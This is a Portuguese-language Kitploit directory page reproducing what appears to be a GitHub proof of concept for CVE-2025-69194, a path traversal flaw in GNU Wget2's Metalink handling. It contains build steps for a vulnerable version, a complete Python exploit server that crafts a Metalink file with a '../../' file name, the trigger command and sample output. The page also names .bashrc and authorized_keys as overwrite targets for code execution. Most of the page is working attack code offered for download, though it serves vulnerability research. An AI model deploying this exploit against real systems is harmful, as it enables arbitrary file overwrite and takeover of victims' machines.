Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC_CVE-2025-69194 — PoC para CVE-2025-69194, uma vulnerabilidade de Path Traversal no GNU Wget2 <= 2.2.0. Esta vulnerabilidade permite que atacantes alcancem escrita ou sobrescrita arbitrária de arquivos no sistema de arquivos da vítima fornecendo um arquivo Metalink malicioso com atributos de nome de arquivo manipulados. | Kitploit
Ferramentas/GitHubGitHub/secdongle/poc_cve-2025-69194
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubsecdongle/poc_cve-2025-69194

POC_CVE-2025-69194

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
113há 8 mesesAinda não revisado

Sobre

PoC para CVE-2025-69194, uma vulnerabilidade de Path Traversal no GNU Wget2 <= 2.2.0. Esta vulnerabilidade permite que atacantes alcancem escrita ou sobrescrita arbitrária de arquivos no sistema de arquivos da vítima fornecendo um arquivo Metalink malicioso com atributos de nome de arquivo manipulados.

Compartilhar

CVE-2025-69194: Vulnerabilidade de Path Traversal no GNU Wget2

📝 Descrição

PoC para CVE-2025-69194, uma vulnerabilidade crítica de Path Traversal no GNU Wget2 <= 2.2.0 (verificada na v1.99.1). Esta vulnerabilidade permite que atacantes realizem escrita ou sobrescrita arbitrária de arquivos no sistema de arquivos da vítima, fornecendo um arquivo Metalink malicioso com atributos file name manipulados.

Quando o Wget2 processa um arquivo Metalink usando a opção --force-metalink, ele falha em sanitizar adequadamente as sequências de directory traversal (ex.: ../../). Isso pode levar à Execução Remota de Código (RCE) se um atacante sobrescrever arquivos sensíveis do sistema (como .bashrc, .ssh/authorized_keys) ou binários do sistema.


🛠️ Ambiente de Teste (Ubuntu 22.04)

Para reproduzir a vulnerabilidade com precisão, compilamos o Wget2 v1.99.1 a partir do código fonte para garantir que o módulo Metalink vulnerável esteja ativo e sem correções.

1. Instalar Dependências

root@kitploit:~
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
                     libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
                     libbrotli-dev autoconf automake libtool gettext pkg-config python3

2. Compilar e Instalar o Wget2 v1.99.1

root@kitploit:~
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig

# Verify installation (+metalink support is required)
wget2 --version | grep -E "1.99.1|metalink"


🚀 Prova de Conceito (PoC)

1. Lado do Atacante (Servidor de Exploit em Python)

O atacante hospeda um arquivo .metalink malicioso e o payload correspondente. Salve o seguinte como poc.py:

root@kitploit:~
import os
import hashlib
import http.server
import socketserver
import threading
import time

# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt"  # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"


def create_files():
    # 1. 创建载荷文件
    with open(PAYLOAD_FILE, "w") as f:
        f.write(PAYLOAD_CONTENT)

    # 计算 SHA256
    sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
    file_size = len(PAYLOAD_CONTENT)

    # 2. 构造恶意的 Metalink 结构
    metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <file name="{TARGET_FILE_NAME}">
      <size>{file_size}</size>
      <verification>
        <hash type="sha256">{sha256_hash}</hash>
      </verification>
      <resources>
        <url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
      </resources>
    </file>
  </files>
</metalink>
'''
    with open(METALINK_FILE, "w") as f:
        f.write(metalink_content)
    print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")


def start_server():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), handler) as httpd:
        print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
        httpd.serve_forever()


if __name__ == "__main__":
    # 清理旧文件
    if os.path.exists(TARGET_FILE_NAME):
        os.remove(TARGET_FILE_NAME)

    create_files()

    # 启动后台服务器
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()

    time.sleep(1)  # 等待服务器就绪

    print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
    print(f"wget2 --force-metalink -i {METALINK_FILE}")
    print(f"\n[!] 执行后,检查目标文件是否存在:")
    print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")

    # 保持主线程运行
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] 演示结束,正在清理...")


2. Lado da Vítima (Acionando o Exploit)

Execute o seguinte comando em um subdiretório (ex.: ~/Downloads/CVE-2025-69194/) para observar a fuga do diretório:

root@kitploit:~
# Pre-check: Verify the file does not exist in the parent's parent directory
ls ../../pwned_test.txt

# Execute the exploit
wget2 --force-metalink -i exploit.metalink


📊 Análise Técnica

A vulnerabilidade existe na lógica de análise do Metalink, onde o atributo name é confiado sem normalização.

FaseDescrição
EntradaO Wget2 lê <file name="../../pwned_test.txt">.
BypassNenhuma verificação é realizada para saber se o caminho contém ../ ou tenta sair do diretório de trabalho (CWD).
EscritaO Wget2 abre o caminho resolvido CWD + ../../pwned_test.txt e escreve o payload verificado.

📝 Exemplo de Saída (Verificado)

Conforme demonstrado na reprodução bem-sucedida, o arquivo pwned_test.txt foi criado dois níveis acima da pasta de execução:

root@kitploit:~
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory

lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'

lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194


version poc test

⚠️ Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O autor não é responsável por qualquer dano causado pelo uso indevido destas informações. O acesso não autorizado a sistemas de computador é estritamente proibido.

Baixar ferramenta